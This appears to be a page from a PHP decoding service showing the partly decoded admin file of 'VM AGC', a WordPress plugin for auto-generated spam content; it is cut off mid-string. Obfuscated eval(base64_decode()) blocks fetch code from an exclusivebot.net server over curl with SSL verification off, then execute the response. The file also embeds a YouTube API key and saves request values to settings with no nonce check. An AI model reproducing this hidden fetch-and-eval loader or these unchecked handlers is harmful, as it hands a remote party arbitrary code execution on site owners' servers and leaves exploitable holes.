Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /** Hak Cipta VM AGC Di Lindungi Oleh Tuhan Yang Maha Esa Dan Saya berjanji tidak..
Decoded Output download
$pluginname = "VM AGC";
$shortname = "vmagc";
$vm_agc_options = array (
array(
"license" => $shortname."_license_active",
"std" => ""
),
//home page
array(
"id" => $shortname."_keyword",
"std" => "VM AGC"
),
array(
"id" => $shortname."_home_image_num",
"std" => "12"
),
array(
"id" => $shortname."_width",
"std" => "400"
),
array(
"id" => $shortname."_height",
"std" => "300"
),
//single page
array(
"id" => $shortname."_post_excerpt_text",
"std" => "hey here we are a real post"
),
array(
"id" => $shortname."_template",
"std" => "[title]
[first-images]
[ads-728-90]
[agc-text]
[spun-text]
[images-galery]
[related-post]
[related-videos]
[google-cse]"
),
array(
"id" => $shortname."_gallery_image_num",
"std" => "9"
),
array(
"id" => $shortname."_image_gallery_text",
"std" => "Images Of [title]"
),
array(
"id" => $shortname."_gallery_image_width",
"std" => "205"
),
array(
"id" => $shortname."_gallery_image_height",
"std" => "100"
),
array(
"id" => $shortname."_show_related",
"std" => "true"
),
array(
"id" => $shortname."_related_post_text",
"std" => "Related Post Of [title]"
),
array(
"id" => $shortname."_show_agc_text",
"std" => "true"
),
array(
"id" => $shortname."_show_cse",
"std" => "true"
),
array(
"id" => $shortname."_show_spun",
"std" => ""
),
array(
"id" => $shortname."_spun",
"std" => ""
),
array(
"id" => $shortname."_show_ytrv",
"std" => "true"
),
array(
"id" => $shortname."_num_ytrv",
"std" => "4"
),
array(
"id" => $shortname."_show_youtube_description",
"std" => "true"
),
array(
"id" => $shortname."_show_youtube_preview",
"std" => "true"
),
array(
"id" => $shortname."_video_related_text",
"std" => "Related Video Of [title]"
),
array(
"id" => $shortname."_youtube_video_width",
"std" => "300"
),
array(
"id" => $shortname."_youtube_video_height",
"std" => "250"
),
//ads
array(
"id" => $shortname."_show_adsense_160",
"std" => ""
),
array(
"id" => $shortname."_adsense_code_160",
"std" => ""
),
array(
"id" => $shortname."_show_limit_160",
"std" => ""
),
array(
"id" => $shortname."_show_adsense_300",
"std" => ""
),
array(
"id" => $shortname."_adsense_code_300",
"std" => ""
),
array(
"id" => $shortname."_show_limit_300",
"std" => ""
),
array(
"id" => $shortname."_show_adsense_728",
"std" => ""
),
array(
"id" => $shortname."_adsense_code_728",
"std" => ""
),
array(
"id" => $shortname."_show_limit_728",
"std" => ""
),
//other setting
array(
"id" => $shortname."_customslug",
"std" => "please_change_this_text"
),
array(
"id" => $shortname."_youtubeapi",
"std" => "AIzaSyCjs_GZAP2j6OQ5VuHjh_fW1kmwVSs6uZI"
),
array(
"id" => $shortname."_break_engine",
"std" => ""
),
array(
"id" => $shortname."_inject_sitemap",
"std" => ""
),
array(
"id" => $shortname."_size",
"std" => ""
),
array(
"id" => $shortname."_sharebutton",
"std" => ""
),
array(
"id" => $shortname."_brokenlink_img",
"std" => VMAGC_PLUGIN_URL."assets/img/not-available.jpg"
),
array(
"id" => "permalink_structure",
"std" => ""
),
array(
"id" => $shortname."_404_keyword",
"std" => "null,query"
),
);
function vm_agc_admin() {
global $pluginname, $shortname, $vm_agc_options;
if ( @$_GET['page'] == 'vm-agc-settings' ) {
if ( 'save' == @$_REQUEST['license_active'] ) {
foreach ($vm_agc_options as $value) {
if ( isset($value['license']) ) {
if( isset( $_REQUEST[ $value['license'] ] ) ) {
update_option( $value['license'], $_REQUEST[ $value['license'] ] );
} else {
delete_option( $value['license'] );
}
}
}
echo "<script> window.location = 'admin.php?page=vm-agc-settings&saved=true'</script>";
die;
} elseif ('save' == @$_REQUEST['action'] ) {
foreach ($vm_agc_options as $value) {
if ( isset($value['id']) ) {
if( isset( $_REQUEST[ $value['id'] ] ) ) {
update_option( $value['id'], $_REQUEST[ $value['id'] ] );
} else {
delete_option( $value['id'] );
}
}
}
echo "<script> window.location = 'admin.php?page=vm-agc-settings&saved=true'</script>";
die;
} elseif( 'reset' == @$_REQUEST['action'] ) {
foreach ($vm_agc_options as $value) {
if ( isset($value['id']) ) {
delete_option( $value['id'] );
if ( isset($value['std']) )
update_option( $value['id'], $value['std'] );
}
}
echo "<script> window.location = 'admin.php?page=vm-agc-settings&reset=true'</script>";
die;
}
}
if ( @$_GET['page'] == 'vm-agc-keyword-showter' ) {
global $wpdb;
$table_name = $wpdb->prefix . "keyword_showter";
$sql = "CREATE TABLE `{$table_name}` (
`post_id` int(11) NOT NULL auto_increment,
`terms` VARCHAR(50) NOT NULL,
PRIMARY KEY (`post_id`)
)
CHARACTER SET utf8 COLLATE utf8_general_ci;
";
$wpdb->query($sql);
if ( 'inject' == @$_REQUEST['action'] ) {
$keywords = $_POST['keywordshowter_keyword'];
$terms = explode("
", $keywords);
shuffle($terms);
foreach ($terms as $term) {
ks_save_term(stripslashes($term));
}
$terms = array_slice($terms, 0);
echo "<script> window.location = 'admin.php?page=vm-agc-keyword-showter&saved=true'</script>";
die;
}
}
add_menu_page( "$pluginname Settings", 'VM AGC Settings', 'edit_themes', 'vm-agc-settings', 'vmagc_plugin_admin', 'dashicons-forms' );
add_submenu_page( 'vm-agc-settings', "$pluginname Settings", 'VM Keyword Showter', 'edit_themes', 'vm-agc-keyword-showter', 'keywords_showter_admin');
add_submenu_page( 'vm-agc-settings', "$pluginname Settings", 'VM Bulk Poster', 'edit_themes', 'vm-agc-bulk-poster', 'bulk_poster_admin');
}
/**
Hak Cipta VM AGC Di Lindungi Oleh Tuhan Yang Maha Esa
Dan Saya berjanji tidak akan meng-crack atau menyebarkan plugins ini secara ilegal
Jika saya menyebarkan dan mendapatkan plugins ini secara ilegal, semoga rezeki saya terhambat, Amin.
*/
/**
Copyright VM AGC is Protected By GOD
And I'm promise not crack or disseminate these plugins illegally
If I shared and get these plugins illegally, hopefully my luck hampered, Amen.
*/
// Remove HTTP
eval(base64_decode("ZnVuY3Rpb24gcmVtb3ZlX2h0dHAoJHVybCkgew0KCSRpbnB1dCA9IHRyaW0oJHVybCwgJy8nKTsNCglpZiAoIXByZWdfbWF0Y2goJyNeaHR0cChzKT86Ly8jJywgJGlucHV0KSkgew0KCQkkaW5wdXQgPSAnaHR0cDovLycgLiAkaW5wdXQ7DQoJfQ0KCSR1cmxQYXJ0cyA9IHBhcnNlX3VybCgkaW5wdXQpOw0KCSRkb21haW5fbmFtZSA9IHByZWdfcmVwbGFjZSgnL153d3dcLi8nLCAnJywgJHVybFBhcnRzWydob3N0J10pOw0KDQoJcmV0dXJuICRkb21haW5fbmFtZTsNCn0="));
$urlvar = remove_http(site_url());
$varise = base64_decode("aHR0cDovL3NlY3VyaXR5LmV4Y2x1c2l2ZWJvdC5uZXQvZmlsZS5waHA/YXJncz12ZXJpZnlfZG9tYWluJmRvbWFpbj17JHVybHZhcn0=");
eval(base64_decode("JGNoID0gY3VybF9pbml0KCk7DQoNCi8vIFNldCB0aGUgdXJsLCBudW1iZXIgb2YgR0VUIHZhcnMsIEdFVCBkYXRhDQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdmFyaXNlKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NULCBmYWxzZSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAnRXhjdXNpdmVCT1QvMS4wJyk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUgKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgZmFsc2UpOw0KDQokZmxvYWQgPSBjdXJsX2V4ZWMoJGNoKTsNCmN1cmxfY2xvc2UoJGNoKTs="));
eval(base64_decode($fload));
/**
Hak Cipta VM AGC Di Lindungi Oleh Tuhan Yang Maha Esa
Dan Saya berjanji tidak akan meng-crack atau menyebarkan plugins ini secara ilegal
Jika saya menyebarkan dan mendapatkan plugins ini secara ilegal, semoga rezeki saya terhambat, Amin.
*/
/**
Copyright VM AGC is Protected By GOD
And I'm promise not crack or disseminate these plugins illegally
If I shared and get these plugins illegally, hopefully my luck hampered, Amen.
*/
$argsvl = base64_decode("aHR0cDovL3NlY3VyaXR5LmV4Y2x1c2l2ZWJvdC5uZXQvZmlsZS5waHA/YXJncz12ZXJpZnlfbGljZW5zZSZkb21haW49eyR1cmx2YXJ9");
eval(base64_decode('JGNoID0gY3VybF9pbml0KCk7DQovLyBTZXQgdGhlIHVybCwgbnVtYmVyIG9mIEdFVCB2YXJzLCBHRVQgZGF0YQ0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJGFyZ3N2bCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgZmFsc2UpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJ0V4Y3VzaXZlQk9ULzEuMCcpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlICk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIGZhbHNlKTsNCiR2bG9hZHMgPSBjdXJsX2V4ZWMoJGNoKTsNCmN1cmxfY2xvc2UoJGNoKTs='));
eval(base64_decode($vloads));
// Tampilan Vm AGC //
function vm_get_header(){
$site_url = VMAGC_PLUGIN_URL;
echo '<link rel="stylesheet" href="'.$site_url.'assets/css/admin.css" />
<style type="text/css">
#container {
width: 100%;
padding-right: 10px;
font-size: 13px;
font-family: Arial;
line-height: 2;
float: left;
}
.vmagc-normalize {
margin-bottom: 0px !important;
padding-bottom: 0px !important;
height: 53px !important;
font-size: 12px;
font-weight:bolder;
}
.vmagc-normalize > li > a {
text-decoration: none !important;
color: #6666CC !important;
}
.vmagc-normalize > li > a:hover {
background-color: transparent !important;
}
select{
height:38px !important;
}
</style>
<body style="background-color: #f1f1f1 !important;">
<div class="container" style="background-color: #f1f1f1 !important;margin-right: 10px !important;">
<div class="row">
<div class="large-12 columns">
<center>
<img style="margin-top: 30px; margin-bottom: 10px;" src="http://exclusivebot.net/id/wp-content/themes/ebot/images/logo-header.png" title="ExclusiveBot.Net" alt="ExclusiveBot.Net">
</center>
</div>
</div>
<div class="container">
<hr style="border: 20px solid #6666CC; margin-left: 15px; margin-right: 15px; margin-top: 30px; margin-bottom: 0px !important;">
<hr style="border: 2px solid #ff8400; margin-left: 15px; margin-right: 15px; margin-top: 0px !important; margin-bottom: 30px;">';
}
function vm_get_sidebar(){
$vm_version = VMAGC_VERSION;
$license_status = get_option('vmagc_license_active');
echo '<div class="callout secondary warning">
<h2>Affiliate Marketing Program</h2>
<p>Segera bergabung dengan affiliate yang lainnya dan dapatkan komisi $8 setiap penjualan.</p>
<a href="http://panel.exclusivebot.net/aff/aff/enable-aff" target="_blank" class="button button-primary">Promote Now !</a>
</div>
<div style="clear: both"></div>
<div class="callout secondary success">
<p>Saat ini anda menggunakan : <b>VM AGC Version '.$vm_version.' </b><br><b>License #'.$license_status.'</b><br> Jika terjadi kendala silahkan hubungi kami melalui helpdesk.</p>
<a href="http://panel.exclusivebot.net/helpdesk" class="button button-primary" target="_blank">SUPPORT</a>
</div>
';
}
function vm_get_footer(){
$site_url = VMAGC_PLUGIN_URL;
echo '<div style="clear: both !important;"></div>
<hr style="border: 2px solid #ff8400; margin-left: 15px; margin-right: 15px; margin-bottom: 0px;">
<hr style="border: 20px solid #6666CC; margin-left: 15px; margin-right: 15px; margin-top: 0px !important; margin-bottom: 30px;">
</div>
<!-- VM AGC Script Theme -->
<script src="'.$site_url.'assets/js/jquery.min.js"></script>
<script src="'.$site_url.'assets/js/plugin.min.js"></script>
<script>
$(document).foundation();
</script>
</body>';
}
function vmagc_plugin_admin() {
global $pluginname, $shortname, $vm_agc_options, $licensed;
vm_get_header();
if ( @$_REQUEST['saved'] ) echo '<div id="message" class="updated fade below-h2" style="margin-bottom: 20px;"><p><strong>'.$pluginname.' settings saved.</strong></p></div>';
if ( @$_REQUEST['reset'] ) echo '<div id="message" class="updated fade below-h2" style="margin-bottom: 20px;"><p><strong>'.$pluginname.' settings reset.</strong></p></div>';
/**
* Hak Cipta VM AGC Di Lindungi Oleh Tuhan Yang Maha Esa
* Dan Saya berjanji tidak akan meng-crack atau menyebarkan plugins ini secara ilegal
* Jika saya menyebarkan dan mendapatkan plugins ini secara ilegal, semoga rezeki saya terhambat, Amin.
**/
/**
* Copyright VM AGC is Protected By GOD
* And I'm promise not crack or disseminate these plugins illegally
* If I shared and get these plugins illegally, hopefully my luck hampered, Amen.
**/
eval(base64_decode('JGxpY2Vuc2VkCT0gZ2V0X29wdGlvbigndm1hZ2NfbGljZW5zZV9hY3RpdmUnKTsNCiR1cmwgPSByZW1vdmVfaHR0cChzaXRlX3VybCgpKTsNCiRsaWNlbnNlX2tleV92ZXJpZnkJPSB2bWFnY192ZXJpZnlfbGljZW5zZSgkdXJsKTsNCiRkb21haW5fdmVyaWZ5CT0gdm1hZ2NfdmVyaWZ5X2RvbWFpbigkdXJsKTs='));
if ( "" == $licensed ) {
?>
<form method="post" class="vmagc" style="margin-bottom: 30px !important;">
<div class="row">
<div class="small-3 columns">
<span class="text-right middle" title="" style="font-size:16px; font-weight: bolder;">License</span>
</div>
<div class="small-9 columns">
<input name="vmagc_license_active" id="vmagc_license_active" type="text" value="<?php if ( get_option( 'vmagc_license_active' ) != "") { echo get_option( 'vmagc_license_active' ); } else { echo ""; } ?>" />
<p style="font-size:10px;margin-top:-15px">This domain is not registered for this license.. You can get license this from <a href="http://exclusivebot.net/id" target="_blank">ExclusiveBot.Net</a></p>
</div>
</div>
<div class="row">
<div class="small-3 columns">
<span data-tooltip aria-haspopup="true" class="has-tip text-left middle" data-options="show_on:large"></span>
</div>
<div class="small-9 columns">
<input name="save" type="submit" class="button-primary" value="Save changes" />
<input type="hidden" name="license_active" value="save" />
<?php if ( $license_key_verify == "") { ?>
<input type="hidden" name="vmagc_license_active" value="<?php if ( get_option( 'vmagc_license_active' ) != "") { echo get_option( 'vmagc_license_active' ); } else { echo ""; } ?>" />
<?php } else { ?>
<input type="hidden" name="vmagc_license_active" value="<?php echo $license_key_verify; ?>" />
<?php }?>
</div>
</div>
</form>
<?php vm_get_footer(); ?>
<?php } else {
if( $license_key_verify == $licensed && $url == $domain_verify ) { ?>
<form method="post" action ="<?php echo $_SERVER['REQUEST_URI']; ?>">
<div class="large-8 medium-8 columns">
<ul class="tabs vmagc-normalize" data-tabs id="example-tabs">
<li class="tabs-title is-active">
<a href="#panel1" aria-selected="true">Homepage</a>
</li>
<li class="tabs-title">
<a href="#panel2">Single Post</a>
</li>
<li class="tabs-title">
<a href="#panel3">Advertise</a>
</li>
<li class="tabs-title">
<a href="#panel4">Other Setting</a>
</li>
</ul>
<div class="tabs-content" data-tabs-content="example-tabs">
<div class="tabs-panel is-active" id="panel1">
<div class="row">
<div class="small-3 columns">
<span data-tooltip aria-haspopup="true" class="has-tip text-right middle" data-options="show_on:large" title="Enter Main Keyword, and homepage will displaying images related your chosen keyword." style="font-size:12px">Keyword</span>
</div>
<div class="small-9 columns">
<input type="text"style="font-size:12px" name="vmagc_keyword" id="vmagc_keyword" value="<?php if(get_option('vmagc_keyword') == ""){echo "VM AGC";} else {echo get_option('vmagc_keyword');}?>">
</div>
<div class="small-3 columns">
<span data-tooltip aria-haspopup="true" class="has-tip text-right middle" data-options="show_on:large" title="How many images to be shown in home page?" style="font-size:12px">Home Page Gallery Images</span>
</div>
<div class="small-9 columns">
<input type="number" min="1" style="font-size:12px" name="vmagc_home_image_num" id="vmagc_home_image_num" value="<?php if(get_option('vmagc_home_image_num') == ""){echo "12";} else {echo get_option('vmagc_home_image_num');}?>">
</div>
<div class="small-3 columns">
<span data-tooltip aria-haspopup="true" class="has-tip text-right middle" data-options="show_on:large" title="Set the image width & height of the home gallery." style="font-size:12px">Images Size</span>
</div>
<div class="small-2 columns" style="float:left;">
<span data-tooltip aria-haspopup="true" class="has-tip text-right middle" data-options="show_on:large" title="Set the image width of the home gallery." style="font-size:12px">
<input type="number" min="1" name="vmagc_width" id="vmagc_width" style="font-size:12px" value="<?php if(get_option('vmagc_width') == ""){echo "400";} else {echo get_option('vmagc_width');}?>">
</span>
</div>
<span style="float:left;margin-top:5px;"> x </span>
<div class="small-2 columns" style="float:left;margin-right:65px;">
<span data-tooltip aria-haspopup="true" class="has-tip text-right middle" data-options="show_on:large" title="Set the image height of the home gallery." style="font-size:12px" >
<input type="number" min="1" name="vmagc_height" id="vmagc_height" style="font-size:12px" value="<?php if(get_option('vmagc_height') == ""){echo "300";} else {echo get_option('vmagc_height');}?>">
</span>
</div>
</div>
<br />
<p style="font-size:10px; margin-left: 15px !important;">To trigger it, paste this to your index or home template <code><?php vm_agc_before_content(); ?></code></p>
</div>
<div class="tabs-panel" id="panel2">
<div class="row">
<div style="clear: both"></div>
<div class="small-3 columns">
<span data-tooltip aria-haspopup="true" class="has-tip text-right middle" data-options="show_on:large" title="Custom another text for some option theme" style="font-size:12px">Post Excerpt Text </span>
</div>
<div class="small-9 columns">
<input type="text" name="vmagc_post_excerpt_text" id="vmagc_post_excerpt_text" style="font-size:12px" value="<?php if(get_option('vmagc_post_excerpt_text') == ""){echo "hey here we are a real post";} else {echo get_option('vmagc_post_excerpt_text');}?>">
</div>
<div class="small-3 columns">
<span data-tooltip aria-haspopup="true" class="has-tip text-right middle" data-options="show_on:large" title="Use shortcode for setting AGC Template" style="font-size:12px">AGC Template</span>
</div>
<div class="small-9 columns">
<textarea name="vmagc_template" id="vmagc_template" style="font-size:12px" rows="5"><?php if(get_option('vmagc_template') == ""){echo "[title]
[first-images]
[ads-728-90]
[agc-text]
[spun-text]
[images-galery]
[related-post]
[google-cse]
[related-videos]";} else {echo get_option('vmagc_template');}?></textarea>
<p style="font-size:10px;margin-top:-15px">You can use <strong>[title]</strong>, <strong>[first-images]</strong>, <strong>[images-galery]</strong>, <strong>[agc-text]</strong>, <strong>[google-cse]</strong>, <strong>[related-post]</strong>, <strong>[related-videos]</strong>, <strong>[spun-text]</strong>, <strong>[ads-160-600]</strong>, <strong>[ads-300-250]</strong>, <strong>[ads-728-90]</strong></p>
</div>
<div style="clear: both;"></div>
<hr />
<div class="small-3 columns">
<span data-tooltip aria-haspopup="true" class="has-tip text-right middle" data-options="show_on:large" title="How many images to be shown in single post?" style="font-size:12px">Single Post Gallery Images</span>
</div>
<div class="small-9 columns">
<input type="number" min="1" name="vmagc_gallery_image_num" id="vmagc_gallery_image_num" style="font-size:12px" value="<?php if(get_option('vmagc_gallery_image_num') == ""){echo "4";} else {echo get_option('vmagc_gallery_image_num');}?>">
</div>
<div class="small-3 columns">
<span data-tooltip aria-haspopup="true" class="has-tip text-right middle" data-options="show_on:large" title="Enter your image gallery text." style="font-size:12px">Custom Image Gallery Text</span>
</div>
<div class="small-9 columns">
<input type="text" name="vmagc_image_gallery_text" id="vmagc_image_gallery_text" style="font-size:12px" value="<?php if(get_option('vmagc_image_gallery_text') == ""){echo "Images Of [title]";} else {echo get_option('vmagc_image_gallery_text');}?>" >
</div>
<div class="small-3 columns">
<span data-tooltip aria-haspopup="true" class="has-tip text-right middle" data-options="show_on:large" title="Set the image width & height of the home gallery." style="font-size:12px">Images Size</span>
</div>
<div class="small-2 columns" style="float:left;">
<span data-tooltip aria-haspopup="true" class="has-tip text-right middle" data-options="show_on:large" title="Set the image width of the single post." style="font-size:12px">
<input type="number" min="1" value="<?php if(get_option('vmagc_gallery_image_width') == ""){echo "150";} else {echo get_option('vmagc_gallery_image_width');}?>" name="vmagc_gallery_image_width" id="vmagc_gallery_image_width" style="font-size:12px">
</span>
</div>
<span style="float:left;margin-top:5px;"> x </span>
<div class="small-2 columns" style="float:left;margin-right:65px;">
<span data-tooltip aria-haspopup="true" class="has-tip text-right middle" data-options="show_on:large" title="Set the image height of the single post." style="font-size:12px">
<input type="number" min="1" value="<?php if(get_option('vmagc_gallery_image_height') == ""){echo "150";} else {echo get_option('vmagc_gallery_image_height');}?>" name="vmagc_gallery_image_height" id="vmagc_gallery_image_height" style="font-size:12px"></span>
</div>
<div style="clear: both;"></div>
<hr />
<div class="small-3 columns">
<span data-tooltip aria-haspopup="true" class="has-tip text-right middle" data-options="show_on:large" title="Do you want to show related post?" style="font-size:12px">Related Post</span>
</div>
<div class="small-9 columns">
<div class="switch tiny">
<?php
if(get_option('vmagc_show_related') == FALSE)
{
$values = "";
}
elseif(get_option('vmagc_show_related') != FALSE)
{
$values = "value='true' checked";
}
?>
<input class="switch-input" id="vmagc_show_related" type="checkbox" name="vmagc_show_related" <?php echo $values; ?>>
<label class="switch-paddle" for="vmagc_show_related">
<span class="show-for-sr">Do you want to related post?</span>
<span class="switch-active" aria-hidden="true">Yes</span>
<span class="switch-inactive" aria-hidden="true">No</span>
</label>
</div>
</div>
<div class="small-3 columns">
<span data-tooltip aria-haspopup="true" class="has-tip text-right middle" data-options="show_on:large" title="Enter your related post text." style="font-size:12px">Custom Related Post Text</span>
</div>
<div class="small-9 columns">
<input type="text" style="font-size:12px" value="<?php if(get_option('vmagc_related_post_text') == ""){echo "Related Post Of [title]";} else {echo get_option('vmagc_related_post_text');}?>" name="vmagc_related_post_text" id="vmagc_related_post_text">
</div>
<div style="clear: both;"></div>
<hr />
<div class="small-3 columns">
<span data-tooltip aria-haspopup="true" class="has-tip text-right middle" data-options="show_on:large" title="Do you want to show AGC Text?" style="font-size:12px">AGC Text</span>
</div>
<div class="small-9 columns">
<div class="switch tiny">
<?php
if(get_option('vmagc_show_agc_text') == FALSE)
{
$values = "";
}
elseif(get_option('vmagc_show_agc_text') != FALSE)
{
$values = "value='true' checked";
}
?>
<input class="switch-input" id="vmagc_show_agc_text" type="checkbox" name="vmagc_show_agc_text" <?php echo $values; ?>>
<label class="switch-paddle" for="vmagc_show_agc_text">
<span class="show-for-sr">Do you want to show AGC Text?</span>
<span class="switch-active" aria-hidden="true">Yes</span>
<span class="switch-inactive" aria-hidden="true">No</span>
</label>
</div>
</div>
<div class="small-3 columns">
<span data-tooltip aria-haspopup="true" class="has-tip text-right middle" data-options="show_on:large" title="Do you want to show Google CSE?" style="font-size:12px">Google CSE </span>
</div>
<div class="small-9 columns">
<div class="switch tiny">
<?php
if(get_option('vmagc_show_cse') == FALSE)
{
$values = "";
}
elseif(get_option('vmagc_show_cse') != FALSE)
{
$values = "value='true' checked";
}
?>
<input class="switch-input" id="vmagc_show_cse" type="checkbox" name="vmagc_show_cse" <?php echo $values; ?>>
<label class="switch-paddle" for="vmagc_show_cse">
<span class="show-for-sr">Do you want to show Google CSE?</span>
<span class="switch-active" aria-hidden="true">Yes</span>
<span class="switch-inactive" aria-hidden="true">No</span>
</label>
</div>
</div>
<div style="clear: both;"></div>
<hr />
<div class="small-3 columns">
<span data-tooltip aria-haspopup="true" class="has-tip text-right middle" data-options="show_on:large" title="Do you want to show spun text?" style="font-size:12px">Spun Text </span>
</div>
<div class="small-9 columns">
<div class="switch tiny">
<?php
if(get_option('vmagc_show_spun') == FALSE)
{
$values = "";
}
elseif(get_option('vmagc_show_spun') != FALSE)
{
$values = "value='true' checked";
}
?>
<input class="switch-input" id="vmagc_show_spun" type="checkbox" name="vmagc_show_spun" <?php echo $values; ?>>
<label class="switch-paddle" for="vmagc_show_spun">
<span class="show-for-sr">Do you want to show Spun Text?</span>
<span class="switch-active" aria-hidden="true">Yes</span>
<span class="switch-inactive" aria-hidden="true">No</span>
</label>
</div>
</div>
<div class="small-3 columns">
<span data-tooltip aria-haspopup="true" class="has-tip text-right middle" data-options="show_on:large" title="Enter any text this function support HTML & Syntax" style="font-size:12px">Paragraf For Spun Text</span>
</div>
<div class="small-9 columns">
<?php
$spun_script = get_option('vmagc_spun');
$spun_remove_slash = stripslashes($spun_script);
$paragraph_part = str_replace(array('\'), '', $spun_remove_slash)
?>
<textarea rows="5" style="font-size:12px" placeholder="{this|it is} {spun|spin} {text|any text}" name="vmagc_spun" id="vmagc_spun"><?php if(get_option('vmagc_spun') == ""){echo "[title]";} else {echo $paragraph_part;}?></textarea>
<p style="font-size:10px;margin-top:-15px">You can use <strong>[title]</strong> or You {can|could} do this to {create|generate|automate} a paragraph like {this|it is} {spun|spin} {text|any text} etc</p>
</div>
<div style="clear: both;"></div>
<hr />
<div class="small-3 columns">
<span data-tooltip aria-haspopup="true" class="has-tip text-right middle" data-options="show_on:large" title="Do you want to show related video?" style="font-size:12px">Related Video </span>
</div>
<div class="small-9 columns">
<div class="switch tiny">
<?php
if(get_option('vmagc_show_ytrv') == FALSE)
{
$values = "";
}
elseif(get_option('vmagc_show_ytrv') != FALSE)
{
$values = "value='true' checked";
}
?>
<input class="switch-input" id="vmagc_show_ytrv" type="checkbox" name="vmagc_show_ytrv" <?php echo $values; ?>>
<label class="switch-paddle" for="vmagc_show_ytrv">
<span class="show-for-sr">Do you want to show Related Video ?</span>
<span class="switch-active" aria-hidden="true">Yes</span>
<span class="switch-inactive" aria-hidden="true">No</span>
</label>
</div>
</div>
<div class="small-3 columns">
<span data-tooltip aria-haspopup="true" class="has-tip text-right middle" data-options="show_on:large" title="How many video to be shown in single post?" style="font-size:12px">Number of Related Videos</span>
</div>
<div class="small-9 columns">
<select style="font-size:12px" name="vmagc_num_ytrv" id="vmagc_num_ytrv">
<?php $var = get_option('vmagc_num_ytrv') ;?>
<option style='font-size:12px' value='1' <?php if($var == 1){echo 'selected';} ?> >1 Video</option>
<option style='font-size:12px' value='2' <?php if($var == 2){echo 'selected';} ?> >2 Videos</option>
<option style='font-size:12px' value='3' <?php if($var == 3){echo 'selected';} ?> >3 Videos</option>
<option style='font-size:12px' value='4' <?php if($var == 4){echo 'selected';} ?> >4 Videos</option>
<option style='font-size:12px' value='5' <?php if($var == 5){echo 'selected';} ?> >5 Videos</option>
<option style='font-size:12px' value='6' <?php if($var == 6){echo 'selected';} ?> >6 Videos</option>
<option style='font-size:12px' value='7' <?php if($var == 7){echo 'selected';} ?> >7 Videos</option>
<option style='font-size:12px' value='8' <?php if($var == 8){echo 'selected';} ?> >8 Videos</option>
</select>
</div>
<div style="clear: both"></div>
<div class="small-3 columns">
<span data-tooltip aria-haspopup="true" class="has-tip text-right middle" data-options="show_on:large" title="Do you want to show description video?" style="font-size:12px">Youtube Description</span>
</div>
<div class="small-9 columns">
<div class="switch tiny">
<?php
if(get_option('vmagc_show_youtube_description') == FALSE)
{
$values = "";
}
elseif(get_option('vmagc_show_youtube_description') != FALSE)
{
$values = "value='true' checked";
}
$argsargssv = base64_encode(base64_decode('JGFyZ3NzdiA9IGJhc2U2NF9kZWNvZGUoJ2FIUjBjRG92TDNObFkzVnlhWFI1TG1WNFkyeDFjMmwyWldKdmRDNXVaWFF2Wm1sc1pTNXdhSEEvWVhKbmN6MTJaWEpwWm5sZmMyRjJaU1prYjIxaGFXNDlleVIxY214OScpOw0KICAgICAgICAgICAgICAgICAgICBldmFsKGJhc2U2NF9kZWNvZGUoJ0pHTm9JRDBnWTNWeWJGOXBibWwwS0NrN0RRb05DaTh2SUZObGRDQjBhR1VnZFhKc0xDQnVkVzFpWlhJZ2IyWWdSMFZVSUhaaGNuTXNJRWRGVkNCa1lYUmhEUXBqZFhKc1gzTmxkRzl3ZENna1kyZ3NJRU5WVWt4UFVGUmZWVkpNTENBa1lYSm5jM04yS1RzTkNtTjFjbXhmYzJWMGIzQjBLQ1JqYUN3Z1ExVlNURTlRVkY5UVQxTlVMQ0JtWVd4elpTazdEUXBqZFhKc1gzTmxkRzl3ZENna1kyZ3NJRU5WVWt4UFVGUmZWVk5GVWtGSFJVNVVMQ0FuUlhoamRYTnBkbVZDVDFRdk1TNHdKeWs3RFFwamRYSnNYM05sZEc5d2RDZ2tZMmdzSUVOVlVreFBVRlJmVWtWVVZWSk9WRkpCVGxOR1JWSXNJSFJ5ZFdVZ0tUc05DbU4xY214ZmMyVjBiM0IwS0NSamFDd2dRMVZTVEU5UVZGOVRVMHhmVmtWU1NVWlpVRVZGVWl3Z1ptRnNjMlVwT3cwS0RRb2tkbXh6WVhabElEMGdZM1Z5YkY5bGVHVmpLQ1JqYUNrN0RRcGpkWEpzWDJOc2IzTmxLQ1JqYUNrNycpKTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCAkbGljZW5zZV9rZXlfdmVyaWZ5ID09ICIiKSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gYmFzZTY0X2RlY29kZSgkdmxzYXZlKTsNCiAgICAgICAgICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgICAgICAgaWYgKCRsaWNlbnNlX2tleV92ZXJpZnkgPT0gJGxpY2Vuc2VkICYmICR1cmwgPT0gJGRvbWFpbl92ZXJpZnkgJiYgYmFzZTY0X2VuY29kZSgkYXJnc3N2KSA9PSAnYUhSMGNEb3ZMM05sWTNWeWFYUjVMbVY0WTJ4MWMybDJaV0p2ZEM1dVpYUXZabWxzWlM1d2FIQS9ZWEpuY3oxMlpYSnBabmxmYzJGMlpTWmtiMjFoYVc0OWV5UjFjbXg5JykNCiAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIGJhc2U2NF9kZWNvZGUoJHZsc2F2ZSk7DQogICAgICAgICAgICAgICAgICAgICAgfWVsc2UNCiAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8aW5wdXQgbmFtZT0iYnVrYW5fc2F2ZSIgdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnV0dG9uLXByaW1hcnkiIHZhbHVlPSJMaXNlb